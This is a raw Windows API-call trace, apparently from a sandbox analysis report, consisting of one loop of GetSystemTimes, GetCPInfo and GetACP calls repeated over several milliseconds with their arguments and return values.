GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.675] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.675] GetACP () returned 0x4e4 [0053.675] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.675] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.675] GetACP () returned 0x4e4 [0053.675] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.675] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.675] GetACP () returned 0x4e4 [0053.675] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.675] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.675] GetACP () returned 0x4e4 [0053.675] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.675] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.675] GetACP () returned 0x4e4 [0053.675] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.675] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.675] GetACP () returned 0x4e4 [0053.675] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.676] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.676] GetACP () returned 0x4e4 [0053.676] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.676] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.676] GetACP () returned 0x4e4 [0053.676] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.676] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.676] GetACP () returned 0x4e4 [0053.676] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.676] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.676] GetACP () returned 0x4e4 [0053.676] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.676] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.676] GetACP () returned 0x4e4 [0053.676] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.676] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.676] GetACP () returned 0x4e4 [0053.676] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.676] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.676] GetACP () returned 0x4e4 [0053.676] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.676] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.676] GetACP () returned 0x4e4 [0053.676] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.676] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.676] GetACP () returned 0x4e4 [0053.676] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.677] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.677] GetACP () returned 0x4e4 [0053.677] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.677] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.677] GetACP () returned 0x4e4 [0053.677] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.677] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.677] GetACP () returned 0x4e4 [0053.677] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.677] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.677] GetACP () returned 0x4e4 [0053.677] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.677] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.677] GetACP () returned 0x4e4 [0053.677] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.677] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.677] GetACP () returned 0x4e4 [0053.677] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.677] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.677] GetACP () returned 0x4e4 [0053.677] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.677] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.677] GetACP () returned 0x4e4 [0053.677] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.677] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.677] GetACP () returned 0x4e4 [0053.677] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.678] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.678] GetACP () returned 0x4e4 [0053.678] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.678] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.678] GetACP () returned 0x4e4 [0053.678] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.678] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.678] GetACP () returned 0x4e4 [0053.678] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.678] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.678] GetACP () returned 0x4e4 [0053.678] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.678] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.678] GetACP () returned 0x4e4 [0053.678] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.678] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.678] GetACP () returned 0x4e4 [0053.678] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.678] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.678] GetACP () returned 0x4e4 [0053.678] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.678] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.678] GetACP () returned 0x4e4 [0053.678] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.678] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.678] GetACP () returned 0x4e4 [0053.678] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.679] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.679] GetACP () returned 0x4e4 [0053.679] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.679] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.679] GetACP () returned 0x4e4 [0053.679] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.679] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.679] GetACP () returned 0x4e4 [0053.679] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.679] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.679] GetACP () returned 0x4e4 [0053.679] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.679] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.679] GetACP () returned 0x4e4 [0053.679] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.679] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.679] GetACP () returned 0x4e4 [0053.679] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.679] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.679] GetACP () returned 0x4e4 [0053.679] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.679] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.679] GetACP () returned 0x4e4 [0053.679] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.679] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.679] GetACP () returned 0x4e4 [0053.679] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.679] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.680] GetACP () returned 0x4e4 [0053.680] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.680] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.680] GetACP () returned 0x4e4 [0053.680] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.680] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.680] GetACP () returned 0x4e4 [0053.680] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.680] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.680] GetACP () returned 0x4e4 [0053.680] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.680] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.680] GetACP () returned 0x4e4 [0053.680] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.680] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.680] GetACP () returned 0x4e4 [0053.680] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.680] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.680] GetACP () returned 0x4e4 [0053.680] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.680] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.680] GetACP () returned 0x4e4 [0053.680] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.680] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.680] GetACP () returned 0x4e4 [0053.680] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.680] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.680] GetACP () returned 0x4e4 [0053.680] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.681] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.681] GetACP () returned 0x4e4 [0053.681] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.681] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.681] GetACP () returned 0x4e4 [0053.681] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.681] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.681] GetACP () returned 0x4e4 [0053.681] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.681] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.681] GetACP () returned 0x4e4 [0053.681] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.681] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.681] GetACP () returned 0x4e4 [0053.681] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.681] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.681] GetACP () returned 0x4e4 [0053.681] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.681] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.681] GetACP () returned 0x4e4 [0053.681] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.681] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.681] GetACP () returned 0x4e4 [0053.681] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.681] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.681] GetACP () returned 0x4e4 [0053.681] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.682] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.682] GetACP () returned 0x4e4 [0053.682] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.682] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.682] GetACP () returned 0x4e4 [0053.682] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.682] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.682] GetACP () returned 0x4e4 [0053.682] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.682] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.682] GetACP () returned 0x4e4 [0053.682] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.682] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.682] GetACP () returned 0x4e4 [0053.682] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.682] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.682] GetACP () returned 0x4e4 [0053.682] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.682] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.682] GetACP () returned 0x4e4 [0053.682] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.682] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.682] GetACP () returned 0x4e4 [0053.682] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.682] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.682] GetACP () returned 0x4e4 [0053.682] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.683] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.683] GetACP () returned 0x4e4 [0053.683] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.683] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.683] GetACP () returned 0x4e4 [0053.683] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.683] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.683] GetACP () returned 0x4e4 [0053.683] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.683] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.683] GetACP () returned 0x4e4 [0053.683] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.683] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.683] GetACP () returned 0x4e4 [0053.683] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.683] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.683] GetACP () returned 0x4e4 [0053.683] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) 